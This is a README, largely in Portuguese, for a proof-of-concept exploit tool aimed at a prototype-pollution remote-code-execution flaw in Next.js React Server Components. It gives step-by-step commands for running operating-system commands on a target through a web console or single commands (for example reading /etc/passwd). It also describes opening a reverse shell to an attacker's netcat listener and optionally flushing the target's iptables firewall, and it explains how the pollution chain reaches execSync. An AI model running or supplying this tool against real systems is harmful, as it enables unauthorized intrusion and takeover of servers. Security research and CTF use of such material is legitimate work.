
WEB-CLI_RCE_React2Shell is an educational PoC exploit tool for CVE-2025-55182, a critical Prototype Pollution flaw in Next.js applications using React Server Components. Designed for CTFs and research, it features a single-command mode, an interactive web CLI, and reverse shell capabilities to demonstrate RCE.
Esta ferramenta é uma simples prova de conceito (PoC) de exploração para CVE-2025-55182. Esta é uma falha grave (Poluição de Protótipo) encontrada em aplicações Next.js que usam React Server Components.
Se um servidor alvo estiver vulnerável, este script permite executar comandos do sistema operacional nele (Execução Remota de Código, ou RCE).
Esta ferramenta foi construída para aprendizado, CTFs e pesquisa de segurança responsável.
USE ETICAMENTE. Execute este exploit apenas contra sistemas que você possui ou para os quais tenha permissão explícita e documentada para testar. O uso não autorizado é ilegal. Esta ferramenta é apenas para fins educacionais.
Esta ferramenta tem três formas principais de executar comandos: um comando único simples, um console web interativo completo e uma tentativa de um shell reverso clássico.
Obtenha o código:
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
Instale a biblioteca:
pip install requests
Esta é a forma mais fácil de interagir com o alvo. Inicia uma página web local na sua máquina que funciona como um terminal.
Execute o script:
python3 exploit.py <TARGET_URL> --web-cli
Exemplo: python3 exploit.py http://target.com/ --web-cli
Abra seu navegador: O script dirá para abrir http://127.0.0.1:8000/. Você pode então digitar comandos (como ls, whoami, cat /etc/passwd) diretamente na página web.
Execute um comando e obtenha a saída imediatamente no seu terminal local. Bom para verificações rápidas como descobrir seu ID de usuário.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
Exemplo: python3 exploit.py http://target.com/ --cmd 'id'
Use este modo se quiser uma conexão estável e persistente. Nota: Isto frequentemente falha em ambientes reais devido a firewalls (filtragem de saída).
Inicie seu listener (ex.: netcat):
nc -lvnp 55555
Execute o exploit:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>: O IP da sua máquina.-p 55555: A porta que seu listener está usando.--flush (Opcional): Tenta executar iptables -F no alvo primeiro para limpar firewalls do host.O exploit usa uma falha de Poluição de Protótipo para alcançar RCE.
Object.prototype).child_process do Node.js). Substituímos o valor dessa propriedade pelo nosso comando shell.execSync) e imediatamente lançar um erro inofensivo. A saída do comando é habilmente inserida no campo digest da mensagem de erro. O script Python então lê esse campo para obter os resultados.Esta pesquisa depende do trabalho inicial e divulgação pela comunidade de segurança. Agradecemos a todos os pesquisadores e contribuidores de código aberto.